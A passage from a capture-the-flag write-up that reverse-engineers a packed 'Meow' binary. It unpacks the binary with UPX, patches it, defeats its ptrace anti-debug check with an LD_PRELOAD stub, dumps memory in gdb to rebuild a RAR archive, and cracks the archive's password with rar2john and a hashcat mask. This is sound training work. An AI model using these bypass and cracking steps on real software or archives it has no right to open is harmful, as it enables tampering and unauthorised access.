"\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0n\2\0\0\0\0\0"..., 832) = 832 fstat(3, {st_mode=S_IFREG|0755, st_size=1839792, ...}) = 0 mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb65d650000 mmap(NULL, 1852680, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fb65d38b000 mprotect(0x7fb65d3b0000, 1662976, PROT_NONE) = 0 mmap(0x7fb65d3b0000, 1355776, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x25000) = 0x7fb65d3b0000 mmap(0x7fb65d4fb000, 303104, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x170000) = 0x7fb65d4fb000 mmap(0x7fb65d546000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1ba000) = 0x7fb65d546000 mmap(0x7fb65d54c000, 13576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fb65d54c000 close(3) = 0 arch_prctl(ARCH_SET_FS, 0x7fb65d651540) = 0 mprotect(0x7fb65d546000, 12288, PROT_READ) = 0 mprotect(0x7fb65d86b000, 4096, PROT_READ) = 0 mprotect(0x7fb65d57b000, 4096, PROT_READ) = 0 munmap(0x7fb65d652000, 101561) = 0 ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted) fstat(1, {st_mode=S_IFCHR|0600, st_rdev=makedev(0x88, 0), ...}) = 0 brk(NULL) = 0x7fb65e356000 brk(0x7fb65e377000) = 0x7fb65e377000 write(1, "I'm being debugged!\n", 20I'm being debugged! ) = 20 exit_group(1) = ? +++ exited with 1 +++ ``` Looks like it has some basic anti-debug mechanism which uses `ptrace` and aborts when it detects a debugger. Perhaps `strings`? ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# strings ./Meow | head UPX! m@/P G&8 /lib64 nux-x86- .so. v+_8/ fopen y{rror telluts ``` Well, no useful filename found there, but notice how the first string is "UPX!". This is usually the signature of executables packed with [UPX](https://en.wikipedia.org/wiki/UPX) - an open source executable packer. In order to investigate the executable we probably want to decompress it first: ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# upx -d ./Meow Ultimate Packer for eXecutables Copyright (C) 1996 - 2020 UPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020 File size Ratio Format Name -------------------- ------ ----------- ----------- 2101968 <- 969180 46.11% linux/amd64 Meow Unpacked 1 file. ``` The `strings` look much better now: ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# strings ./Meow /lib64/ld-linux-x86-64.so.2 fopen perror ftell puts feof fgetc memset fseek fclose ptrace __cxa_finalize __libc_start_main libc.so.6 GLIBC_2.2.5 _ITM_deregisterTMCloneTable __gmon_start__ _ITM_registerTMCloneTable u/UH []A\A]A^A_ I'm being debugged! Meow Meow... RoyalCat Error opening file It seems you have got an interesting file... Maybe you should look at the CTFRoom ! I think you are missing something. ;*3$" GCC: (Debian 9.3.0-15) 9.3.0 crtstuff.c deregister_tm_clones __do_global_dtors_aux completed.7452 __do_global_dtors_aux_fini_array_entry frame_dummy __frame_dummy_init_array_entry final.c __FRAME_END__ __init_array_end _DYNAMIC __init_array_start __GNU_EH_FRAME_HDR _GLOBAL_OFFSET_TABLE_ __libc_csu_fini _ITM_deregisterTMCloneTable puts@@GLIBC_2.2.5 _edata fclose@@GLIBC_2.2.5 memset@@GLIBC_2.2.5 fgetc@@GLIBC_2.2.5 __libc_start_main@@GLIBC_2.2.5 __data_start ftell@@GLIBC_2.2.5 feof@@GLIBC_2.2.5 __gmon_start__ __dso_handle _IO_stdin_used __libc_csu_init fseek@@GLIBC_2.2.5 validate ptrace@@GLIBC_2.2.5 __bss_start main fopen@@GLIBC_2.2.5 perror@@GLIBC_2.2.5 __TMC_END__ _ITM_registerTMCloneTable __cxa_finalize@@GLIBC_2.2.5 .symtab .strtab .shstrtab .interp .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .got.plt .data .bss .comment ``` Let's proceed to view the binary in a disassembler. Note that due to excessive usage of the stack in the main function, Ghidra fails to open the binary unless we uncheck the "stack" analysis option. This means that we can't view the `C` decompilation output for the main function. ```assembly ************************************************************** * FUNCTION * ************************************************************** undefined main() undefined AL:1 <RETURN> main XREF[4]: Entry Point(*), _start:5555555550fd(*), 5555557530f0, 5555557531b8(*) 555555555296 55 PUSH RBP 555555555297 48 89 e5 MOV RBP,RSP 55555555529a 48 81 ec SUB RSP,0xcbb00 00 bb 0c 00 5555555552a1 b9 00 00 MOV ECX,0x0 00 00 5555555552a6 ba 01 00 MOV EDX,0x1 00 00 5555555552ab be 00 00 MOV ESI,0x0 00 00 5555555552b0 bf 00 00 MOV EDI,0x0 00 00 5555555552b5 b8 00 00 MOV EAX,0x0 00 00 5555555552ba e8 e1 fd CALL ptrace long ptrace(__ptrace_request __r ff ff 5555555552bf 48 83 f8 ff CMP RAX,-0x1 5555555552c3 75 16 JNZ LAB_5555555552db 5555555552c5 48 8d 3d LEA RDI,[s_I'm_being_debugged!_555555753008] = "I'm being debugged!" 3c dd 1f 00 5555555552cc e8 5f fd CALL puts int puts(char * __s) ff ff 5555555552d1 b8 01 00 MOV EAX,0x1 00 00 5555555552d6 e9 16 d9 JMP LAB_555555752bf1 1f 00 LAB_5555555552db XREF[1]: 5555555552c3(j) 5555555552db 48 8d 3d LEA RDI,[s_Meow_Meow..._55555575301c] = "Meow Meow..." 3a dd 1f 00 5555555552e2 e8 49 fd CALL puts int puts(char * __s) ff ff 5555555552e7 c7 45 f8 MOV dword ptr [RBP + -0x8],0x0 00 00 00 00 5555555552ee 48 8d 35 LEA RSI,[DAT_555555753029] = 72h r 34 dd 1f 00 5555555552f5 48 8d 3d LEA RDI,[s_RoyalCat_55555575302b] = "RoyalCat" 2f dd 1f 00 5555555552fc e8 af fd CALL fopen FILE * fopen(char * __filename, ff ff 555555555301 48 89 45 f0 MOV qword ptr [RBP + -0x10],RAX 555555555305 48 83 7d CMP qword ptr [RBP + -0x10],0x0 f0 00 55555555530a 75 16 JNZ LAB_555555555322 55555555530c 48 8d 3d LEA RDI,[s_Error_opening_file_555555753034] = "Error opening file" 21 dd 1f 00 555555555313 e8 a8 fd CALL perror void perror(char * __s) ff ff 555555555318 b8 ff ff MOV EAX,0xffffffff ff ff 55555555531d e9 cf d8 JMP LAB_555555752bf1 1f 00 LAB_555555555322 XREF[1]: 55555555530a(j) 555555555322 83 7d f8 00 CMP dword ptr [RBP + -0x8],0x0 555555555326 0f 84 c0 JZ LAB_555555752bec d8 1f 00 55555555532c 48 8b 45 f0 MOV RAX,qword ptr [RBP + -0x10] 555555555330 ba 02 00 MOV EDX,0x2 00 00 555555555335 be 00 00 MOV ESI,0x0 00 00 55555555533a 48 89 c7 MOV RDI,RAX 55555555533d e8 4e fd CALL fseek int fseek(FILE * __stream, long ff ff 555555555342 48 8b 45 f0 MOV RAX,qword ptr [RBP + -0x10] 555555555346 48 89 c7 MOV RDI,RAX 555555555349 e8 22 fd CALL ftell long ftell(FILE * __stream) ff ff 55555555534e 89 45 ec MOV dword ptr [RBP + -0x14],EAX 555555555351 48 8b 45 f0 MOV RAX,qword ptr [RBP + -0x10] 555555555355 ba 00 00 MOV EDX,0x0 00 00 55555555535a be 00 00 MOV ESI,0x0 00 00 55555555535f 48 89 c7 MOV RDI,RAX 555555555362 e8 29 fd CALL fseek int fseek(FILE * __stream, long ff ff 555555555367 48 8d 85 LEA RAX,[RBP + -0xcbb00] 00 45 f3 ff 55555555536e ba e0 ba MOV EDX,0xcbae0 0c 00 555555555373 be 00 00 MOV ESI,0x0 00 00 555555555378 48 89 c7 MOV RDI,RAX 55555555537b e8 d0 fc CALL memset void * memset(void * __s, int __ ff ff 555555555380 c7 85 00 MOV dword ptr [RBP + -0xcbb00],0x238 45 f3 ff 38 02 00 00 55555555538a c7 85 04 MOV dword ptr [RBP + -0xcbafc],0x1d4 45 f3 ff d4 01 00 00 555555555394 c7 85 08 MOV dword ptr [RBP + -0xcbaf8],0x2b8 45 f3 ff b8 02 00 00 ; ... many more MOV instructions ... 5555557522aa c7 85 44 MOV dword ptr [RBP + -0x1bc],0x8e fe ff ff 8e 00 00 00 5555557522b4 c7 85 48 MOV dword ptr [RBP + -0x1b8],0x2ec fe ff ff ec 02 00 00 5555557522be c7 85 4c MOV dword ptr [RBP + -0x1b4],0x1ca fe ff ff ca 01 00 00 5555557522c8 c7 45 fc MOV dword ptr [RBP + -0x4],0x32e54 54 2e 03 00 5555557522cf e9 c0 08 JMP LAB_555555752b94 00 00 ``` We can try to reconstruct our own decompilation from the assembly: ```c void main() { uint32_t counter; // RBP + -0x4 uint32_t dummy; // RBP + -0x8 FILE* p_file; // RBP + -0x10 uint32_t file_size; // RBP + -0x14 uint32_t array[208568]; // RBP + -0xcbb00 if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) { puts("I'm being debugged!"); return 1; } puts("Meow Meow..."); dummy = 0; p_file = fopen("RoyalCat", 'r'); if (p_file == NULL) { perror("Error opening file"); return -1; } if (dummy == 0) { return 0; } fseek(p_file, 0, SEEK_END); file_size = ftell(p_file); fseek(p_file, 0, SEEK_SET); memset(array, 0, sizeof(array)); array[0] = 0x238; array[1] = 0x1d4; array[2] = 0x2b8; // ... many more assignments array[208465] = 0x8e; array[208466] = 0x2ec; array[208467] = 0x1ca; counter = 208468; } ``` So what we see here is: * A simple anti-debug trick with `ptrace` * Another anti-debug anti-anything trick with `dummy`? Looks like we'll need to patch the program to bypass this * An attempt to open a file named `RoyalCat` and identify its size * Filling an array with many different values up to a certain point * Initializing a counter to the number of values filled in the array Let's continue analyzing what happens when we jump to `LAB_555555752b94`: ```assembly LAB_555555752b94 XREF[1]: 5555557522cf(j) 555555752b94 8b 45 fc MOV EAX,dword ptr [RBP + -0x4] 555555752b97 3b 45 ec CMP EAX,dword ptr [RBP + -0x14] 555555752b9a 0f 8c 34 JL middle_label f7 ff ff ``` Well, over here we check if `counter < file_size` and jump to `middle_label` if so. ```assembly middle_label XREF[1]: 555555752b9a(j) 5555557522d4 81 7d fc CMP dword ptr [RBP + -0x4],0x32e53 53 2e 03 00 5555557522db 0f 8e 9d JLE LAB_555555752b7e 08 00 00 5555557522e1 81 7d fc CMP dword ptr [RBP + -0x4],0x32e54 54 2e 03 00 5555557522e8 0f 8e 89 JLE LAB_555555752b77 08 00 00 5555557522ee 81 7d fc CMP dword ptr [RBP + -0x4],0x32e55 55 2e 03 00 5555557522f5 0f 8e 75 JLE LAB_555555752b70 08 00 00 ; This continues ... 5555557527b1 81 7d fc CMP dword ptr [RBP + -0x4],0x32eb4 b4 2e 03 00 5555557527b8 7e 30 JLE LAB_5555557527ea 5555557527ba 81 7d fc CMP dword ptr [RBP + -0x4],0x32eb5 b5 2e 03 00 5555557527c1 7e 1d JLE LAB_5555557527e0 5555557527c3 81 7d fc CMP dword ptr [RBP + -0x4],0x32eb6 b6 2e 03 00 5555557527ca 7e 0a JLE LAB_5555557527d6 5555557527cc b8 96 00 MOV EAX,0x96 00 00 5555557527d1 e9 ad 03 JMP end_label 00 00 LAB_5555557527d6 XREF[1]: 5555557527ca(j) 5555557527d6 b8 40 01 MOV EAX,0x140 00 00 5555557527db e9 a3 03 JMP end_label 00 00 LAB_5555557527e0 XREF[1]: 5555557527c1(j) 5555557527e0 b8 9c 00 MOV EAX,0x9c 00 00 5555557527e5 e9 99 03 JMP end_label 00 00 ; This continues ... LAB_555555752b70 XREF[1]: 5555557522f5(j) 555555752b70 b8 de 02 MOV EAX,0x2de 00 00 555555752b75 eb 0c JMP end_label LAB_555555752b77 XREF[1]: 5555557522e8(j) 555555752b77 b8 cc 01 MOV EAX,0x1cc 00 00 555555752b7c eb 05 JMP end_label LAB_555555752b7e XREF[1]: 5555557522db(j) 555555752b7e b8 00 00 MOV EAX,0x0 00 00 end_label XREF[100]: 5555557527d1(j), 5555557527db(j), 5555557527e5(j), 5555557527ef(j), 5555557527f9(j), 555555752803(j), 55555575280d(j), 555555752817(j), 555555752821(j), 55555575282b(j), 555555752835(j), 55555575283f(j), 555555752849(j), 555555752853(j), 55555575285d(j), 555555752867(j), 555555752871(j), 55555575287b(j), 555555752885(j), 55555575288f(j), [more] 555555752b83 8b 55 fc MOV EDX,dword ptr [RBP + -0x4] 555555752b86 48 63 d2 MOVSXD RDX,EDX 555555752b89 89 84 95 MOV dword ptr [RBP + RDX*0x4 + -0xcbb00],EAX 00 45 f3 ff 555555752b90 83 45 fc 01 ADD dword ptr [RBP + -0x4],0x1 LAB_555555752b94 XREF[1]: 5555557522cf(j) 555555752b94 8b 45 fc MOV EAX,dword ptr [RBP + -0x4] 555555752b97 3b 45 ec CMP EAX,dword ptr [RBP + -0x14] 555555752b9a 0f 8c 34 JL middle_label f7 ff ff ``` So this is some kind of loop initializing some more array members: ```c while (counter < file_size) { switch(counter) { case 0x32e53: array[counter] = 0x0; break; case 0x32e54: array[counter] = 0x1cc; break; case 0x32e55: array[counter] = 0x2de; break; // Many more ... case 0x32eb5: array[counter] = 0x9c; break; case 0x32eb6: array[counter] = 0x140; break; case 0x32eb7: array[counter] = 0x96; break; } counter += 1; } ``` So what we have until now is that the array gets automatically initialized up to index `208468`, and if the input file size is larger than `208468` bytes, the `file_size - 208468` remaining array members get initializes via the loop, up to a file size of `208568` (which is `0x32eb7 + 1`). But what is the array used for? the remaining part of the function is: ```assembly 555555752ba0 48 8d 95 LEA RDX,[RBP + -0xcbb00] 00 45 f3 ff 555555752ba7 48 8b 45 f0 MOV RAX,qword ptr [RBP + -0x10] 555555752bab 48 89 d6 MOV RSI,RDX 555555752bae 48 89 c7 MOV RDI,RAX 555555752bb1 e8 0f 26 CALL validate undefined validate() e0 ff 555555752bb6 85 c0 TEST EAX,EAX 555555752bb8 74 1f JZ LAB_555555752bd9 555555752bba 48 8d 3d LEA RDI,[s_It_seems_you_have_got_an_interes_555555 = "It seems you have got an inte 87 04 00 00 555555752bc1 e8 6a 24 CALL puts int puts(char * __s) e0 ff 555555752bc6 48 8d 3d LEA RDI,[s_Maybe_you_should_look_at_the_CTF_555555 = "Maybe you should look at the ab 04 00 00 555555752bcd e8 5e 24 CALL puts int puts(char * __s) e0 ff 555555752bd2 b8 00 00 MOV EAX,0x0 00 00 555555752bd7 eb 18 JMP LAB_555555752bf1 LAB_555555752bd9 XREF[1]: 555555752bb8(j) 555555752bd9 48 8d 3d LEA RDI,[s_I_think_you_are_missing_somethin_555555 = "I think you are missing somet c0 04 00 00 555555752be0 e8 4b 24 CALL puts int puts(char * __s) e0 ff 555555752be5 b8 00 00 MOV EAX,0x0 00 00 555555752bea eb 05 JMP LAB_555555752bf1 LAB_555555752bec XREF[1]: 555555555326(j) 555555752bec b8 00 00 MOV EAX,0x0 00 00 LAB_555555752bf1 XREF[4]: 5555555552d6(j), 55555555531d(j), 555555752bd7(j), 555555752bea(j) 555555752bf1 c9 LEAVE 555555752bf2 c3 RET ``` Which translated to `C` is something like: ```c if (validate(p_file, array) != 0) { puts("It seems you have got an interesting file..."); puts("Maybe you should look at the CTFRoom !"); } else { puts("I think you are missing something."); } return 0; ``` Fortunately, Ghidra is able to decompile `validate` successfully so we don't need to do it manually: ```c undefined8 validate(FILE *p_file,int *p_array) { int iVar1; int iVar2; uint uStack12; uStack12 = 0; while( true ) { iVar1 = fgetc(p_file); iVar2 = feof(p_file); if (iVar2 != 0) { fclose(p_file); return 1; } if (((uStack12 & 1) == 0) && (((iVar1 + 0x45) * 4 ^ 100U) != p_array[(int)uStack12])) break; if (((uStack12 - ((int)uStack12 >> 0x1f) & 1) + ((int)uStack12 >> 0x1f) == 1) && (((iVar1 + 0x62) * 2 ^ 0x52U) != p_array[(int)uStack12])) { return 0; } uStack12 = uStack12 + 1; } return 0; } ``` So what this function does is read the file byte by byte, perform some manipulation on each byte and compare it to the matching array member, and if no mismatch is found up to the end of the file, return success. Since the function runs just up to the end of the file, we can apparently get it to print success by providing it an empty file. But first, we have to patch the program in order to get it past this logic: ```assembly 5555555552e7 c7 45 f8 MOV dword ptr [RBP + -0x8],0x0 00 00 00 00 ; ... 555555555322 83 7d f8 00 CMP dword ptr [RBP + -0x8],0x0 555555555326 0f 84 c0 JZ LAB_555555752bec ; ... LAB_555555752bec XREF[1]: 555555555326(j) 555555752bec b8 00 00 MOV EAX,0x0 00 00 LAB_555555752bf1 XREF[4]: 5555555552d6(j), 55555555531d(j), 555555752bd7(j), 555555752bea(j) 555555752bf1 c9 LEAVE 555555752bf2 c3 RET ``` We'll patch it by setting `[RBP + -0x8]` to `0x1` instead of `0x0`. To do so, we change `c7 45 f8 00 00 00 00` to ``c7 45 f8 00 00 00 01`. ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# ./Meow Meow Meow... Error opening file: No such file or directory root@kali:/media/sf_CTFs/matrix/Royal_Cat# touch RoyalCat root@kali:/media/sf_CTFs/matrix/Royal_Cat# ./Meow Meow Meow... root@kali:/media/sf_CTFs/matrix/Royal_Cat# cp Meow MeowPatched root@kali:/media/sf_CTFs/matrix/Royal_Cat# printf '\x01' | dd conv=notrunc of=MeowPatched bs=1 seek=$((0x12ED)) 1+0 records in 1+0 records out 1 byte copied, 0.00130419 s, 0.8 kB/s root@kali:/media/sf_CTFs/matrix/Royal_Cat# ./MeowPatched Meow Meow... It seems you have got an interesting file... Maybe you should look at the CTFRoom ! ``` Of course, this is just an empty file we've provided, nothing interesting there. Let's see if we can get the same output for a file of length 1. But first, what happens if we get it wrong? ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# printf '\xff' > RoyalCat root@kali:/media/sf_CTFs/matrix/Royal_Cat# ./MeowPatched Meow Meow... I think you are missing something. ``` Now, can we get it right? We have two different expected values based on the index of the current byte: ```c if (((uStack12 & 1) == 0) && (((iVar1 + 0x45) * 4 ^ 100U) != p_array[(int)uStack12])) break; if (((uStack12 - ((int)uStack12 >> 0x1f) & 1) + ((int)uStack12 >> 0x1f) == 1) && (((iVar1 + 0x62) * 2 ^ 0x52U) != p_array[(int)uStack12])) { return 0; } ``` If the index is even (`((uStack12 & 1) == 0)`) then the expected value is `((iVar1 + 0x45) * 4 ^ 100U)`. If the index satisfies the condition `((uStack12 - ((int)uStack12 >> 0x1f) & 1) + ((int)uStack12 >> 0x1f) == 1)` then the expected value is `((iVar1 + 0x62) * 2 ^ 0x52U)`. But what is this condition? ```python >>> for uStack12 in range(10): ... print(((uStack12 - (uStack12 >> 0x1f) & 1) + (uStack12 >> 0x1f) == 1)) ... False True False True False True False True False True >>> for uStack12 in range(0x32eb7 + 1): ... assert(((uStack12 - (uStack12 >> 0x1f) & 1) + (uStack12 >> 0x1f) == 1) == ( (uStack12 & 1) == 1)) ... >>> ``` So for our case, we can just consider this a fancy way to check if the index is odd. The first index is `0` so we need to use the even case condition. We saw before that `array[0] = 0x238;`. Now we need to find a value so that `((value + 0x45) * 4 ^ 100U) == 0x238`. ```python >>> reverse_even = lambda x: hex(((x ^ 100)//4)-0x45) >>> reverse_even(0x238) '0x52' ``` Let's try it: ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# printf '\x52' > RoyalCat root@kali:/media/sf_CTFs/matrix/Royal_Cat# ./MeowPatched Meow Meow... It seems you have got an interesting file... Maybe you should look at the CTFRoom ! ``` Luckily, we got it and didn't hit any overflow / division issues. Let's try one odd index. We know that `array[1] = 0x1d4;`. ```python >>> reverse_odd = lambda x: hex(((x ^ 0x52)//2)-0x62) >>> reverse_odd(0x1d4) '0x61' ``` Let's try it: ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# printf '\x52\x61' > RoyalCat root@kali:/media/sf_CTFs/matrix/Royal_Cat# ./MeowPatched Meow Meow... It seems you have got an interesting file... Maybe you should look at the CTFRoom ! ``` Ok, great. So we understand the mechanism. Now, we need to automate this so that the full file gets reconstructed. We could try brute forcing the file byte-by-byte with a script like this: ```python from subprocess import check_output from pwn import * royal_cat_bytes = bytearray() with log.progress('Brute forcing RoyalCat') as p: while True: p.status(f"Searching for byte #{len(royal_cat_bytes)}") royal_cat_bytes.append(0) found = False for b in range(256): royal_cat_bytes[-1] = b with open("RoyalCat", "wb") as f: f.write(royal_cat_bytes) out = check_output(["./MeowPatched"]) if b"It seems you have got an interesting file" in out: found = True break if not found: break with open("RoyalCat", "wb") as f: f.write(royal_cat_bytes[:-1]) ``` But that would take ages, since for each byte we'd need to run the program 256 times in the worst case. Instead, we'll dump the `array` from memory and use that to reconstruct the file just like we did in the manual examples. To ensure that the array is fully initialized, we need to provide any file of `0x32eb7+1` bytes. ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# python -c "print (b'\xff' * (0x32eb7+1))" > RoyalCat ``` We also need to bypass the `ptrace` anti-debug method. Instead of patching again, we'll do that with [this trick](https://dev.to/nuculabs_dev/bypassing-ptrace-calls-with-ldpreload-on-linux-12jl): ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# nano ptrace.c root@kali:/media/sf_CTFs/matrix/Royal_Cat# cat ptrace.c long ptrace(int request, int pid, void *addr, void *data) { return 0; } root@kali:/media/sf_CTFs/matrix/Royal_Cat# gcc -shared ptrace.c -o ptrace.so ``` Now we can run the program in the debugger and set a breakpoint at `validate`: ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# gdb -ex 'set environment LD_PRELOAD=./ptrace.so' -n ./MeowPatched GNU gdb (Debian 8.3.1-1) 8.3.1 Copyright (C) 2019 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word"... Reading symbols from ./MeowPatched... (No debugging symbols found in ./MeowPatched) (gdb) b validate Breakpoint 1 at 0x11c9 (gdb) r Starting program: /media/sf_CTFs/matrix/Royal_Cat/MeowPatched Meow Meow... Breakpoint 1, 0x00005555555551c9 in validate () (gdb) ``` We want to dump `array` which is the second parameter to `validate`. ``` (gdb) set disassembly-flavor intel (gdb) disas validate, +20 Dump of assembler code from 0x5555555551c5 to 0x5555555551d9: 0x00005555555551c5 <validate+0>: push rbp 0x00005555555551c6 <validate+1>: mov rbp,rsp => 0x00005555555551c9 <validate+4>: sub rsp,0x20 0x00005555555551cd <validate+8>: mov QWORD PTR [rbp-0x18],rdi 0x00005555555551d1 <validate+12>: mov QWORD PTR [rbp-0x20],rsi 0x00005555555551d5 <validate+16>: mov DWORD PTR [rbp-0x4],0x0 End of assembler dump. (gdb) p/x $rsi $1 = 0x7ffffff32780 ``` We want to dump the array to a file: ``` (gdb) p/x ( ($rsi) + ((0x32eb7+1)*4) ) $2 = 0x7fffffffe260 (gdb) dump binary memory array.bin 0x7ffffff32780 0x7fffffffe260 ``` Let's double check the values we got with the expected values we saw earlier: ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# xxd -g 4 -e array.bin | head -n 1 00000000: 00000238 000001d4 000002b8 00000154 8...........T... root@kali:/media/sf_CTFs/matrix/Royal_Cat# xxd -g 4 -e array.bin | tail -n 1 000cbad0: 00000144 0000009c 00000140 00000096 D.......@....... ``` Looks good. Now, let's use the values to recreate the file: ```python reverse_even = lambda x: bytes([((x ^ 100) // 4) - 0x45]) reverse_odd = lambda x: bytes([((x ^ 0x52) // 2) - 0x62]) with open("array.bin", "rb") as f, open("RoyalCat", "wb") as o: index = 0 while (dword := f.read(4)) != b"": value = int.from_bytes(dword, byteorder='little') b = reverse_even(value) if (index % 2 == 0) else reverse_odd(value) o.write(b) index += 1 ``` And what do we get? ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# python3 solve.py root@kali:/media/sf_CTFs/matrix/Royal_Cat# ./MeowPatched Meow Meow... It seems you have got an interesting file... Maybe you should look at the CTFRoom ! root@kali:/media/sf_CTFs/matrix/Royal_Cat# file RoyalCat RoyalCat: RAR archive data, v5 ``` A RAR file! let's extract it: ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# unrar l RoyalCat UNRAR 5.91 freeware Copyright (c) 1993-2020 Alexander Roshal Archive: RoyalCat Details: RAR 5 Attributes Size Date Time Name ----------- --------- ---------- ----- ---- * ..A.... 220164 2021-02-02 13:53 Meow.jpeg ----------- --------- ---------- ----- ---- 220164 1 root@kali:/media/sf_CTFs/matrix/Royal_Cat# unrar x RoyalCat UNRAR 5.91 freeware Copyright (c) 1993-2020 Alexander Roshal Extracting from RoyalCat Enter password (will not be echoed) for Meow.jpeg: ``` Looks like this file is password protected, and we don't know the password. Time to visit the CTF Room as suggested. It contains a live stream of a ticking bomb together with some LEDs and a servo. ![](images/royal_cat_ctf_room.png) We are requested to enter the cat's name in order to proceed. We tried everything here. We searched every bit in the binary for a cat's name. We tried to submit common cat names, and tried them too as the RAR password. We tried to crack the RAR with `rockyou.txt`, or with a general brute force attack. We also tried searching for the cat name in other challenges (this was the last challenge we had left in order to unlock "Exclusive Bomb"). We reverse-searched the image. We searched for real-life royal cats in Google. We tried the Cheshire Cat from "Alice in Wonderland", since there's another reversing challenge named "Hatter" and since the arrow under the question mark in the CTF room reminded us of his famous grin. We spent hours on this. Eventually, while thinking about additional ways to brute force the RAR, it occurred to us to try `hashcat`... and it worked! ![](images/royal_cat_ctf_room2.png) At some point the creators changed the logo in the CTF room from the cat image above to the [hashcat](https://hashcat.net/hashcat/) logo, making it pretty much trivial to pass this part. Anyway, after entering the correct name, the servo in the background displayed the following string: `A?l?d!D3?u?l9`. This is a `hashcat` pattern for brute-forcing the RAR password. We can follow [this guide](https://miloserdov.org/?p=5426) to crack the password. ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# ~/utils/john/run/rar2john RoyalCat > rar.john root@kali:/media/sf_CTFs/matrix/Royal_Cat# cat rar.john RoyalCat:$rar5$16$dd0d97236c58b730c8fd7c4d85c653f2$15$6af89efb4eb5dab620c901e4e8f2141b$8$907d86ab9b525ba2 root@kali:/media/sf_CTFs/matrix/Royal_Cat# cat rar.john | grep -E -o '(\$RAR3\$[^:]+)|(\$rar5\$.*)' > rar.hash root@kali:/media/sf_CTFs/matrix/Royal_Cat# cat rar.hash $rar5$16$dd0d97236c58b730c8fd7c4d85c653f2$15$6af89efb4eb5dab620c901e4e8f2141b$8$907d86ab9b525ba2 root@kali:/media/sf_CTFs/matrix/Royal_Cat# hashcat -m 13000 -a 3 rar.hash 'A?l?d!D3?u?l9' --force hashcat (v5.1.0) starting... OpenCL Platform #1: The pocl project ==================================== * Device #1: pthread-Intel(R) Core(TM)2 Duo CPU T8100 @ 2.10GHz, 512/1483 MB allocatable, 2MCU Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Applicable optimizers: * Zero-Byte * Single-Hash * Single-Salt * Brute-Force * Slow-Hash-SIMD-LOOP Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. * Device #1: build_opts '-cl-std=CL1.2 -I OpenCL -I /usr/share/hashcat/OpenCL -D LOCAL_MEM_TYPE=2 -D VENDOR_ID=64 -D CUDA_ARCH=0 -D AMD_ROCM=0 -D VECT_SIZE=4 -D DEVICE_TYPE=2 -D DGST_R0=0 -D DGST_R1=1 -D DGST_R2=2 -D DGST_R3=3 -D DGST_ELEM=4 -D KERN_TYPE=13000 -D _unroll' * Device #1: Kernel m13000-pure.750cfacb.kernel not found in cache! Building may take a while... * Device #1: Kernel markov_le.92f06ff5.kernel not found in cache! Building may take a while... * Device #1: Kernel amp_a3.92f06ff5.kernel not found in cache! Building may take a while... [s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => $rar5$16$dd0d97236c58b730c8fd7c4d85c653f2$15$6af89efb4eb5dab620c901e4e8f2141b$8$907d86ab9b525ba2:An7!D3Bu9 Session..........: hashcat Status...........: Cracked Hash.Type........: RAR5 Hash.Target......: $rar5$16$dd0d97236c58b730c8fd7c4d85c653f2$15$6af89e...525ba2 Time.Started.....: Fri Feb 19 09:55:17 2021 (4 mins, 0 secs) Time.Estimated...: Fri Feb 19 09:59:17 2021 (0 secs) Guess.Mask.......: A?l?d!D3?u?l9 [9] Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 122 H/s (7.93ms) @ Accel:256 Loops:64 Thr:1 Vec:4 Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts Progress.........: 29184/175760 (16.60%) Rejected.........: 0/29184 (0.00%) Restore.Point....: 28672/175760 (16.31%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:32768-32799 Candidates.#1....: Av0!D3Jr9 -> Ay3!D3Ng9 Started: Fri Feb 19 09:54:39 2021 Stopped: Fri Feb 19 09:59:18 2021 ``` The password found by `hashcat` is `An7!D3Bu9`: ```console root@kali:/media/sf_CTFs/matrix/Royal_Cat# unrar x -pAn7\!D3Bu9 RoyalCat UNRAR 5.91 freeware Copyright (c) 1993-2020 Alexander Roshal Extracting from RoyalCat Extracting Meow.jpeg OK All OK ``` 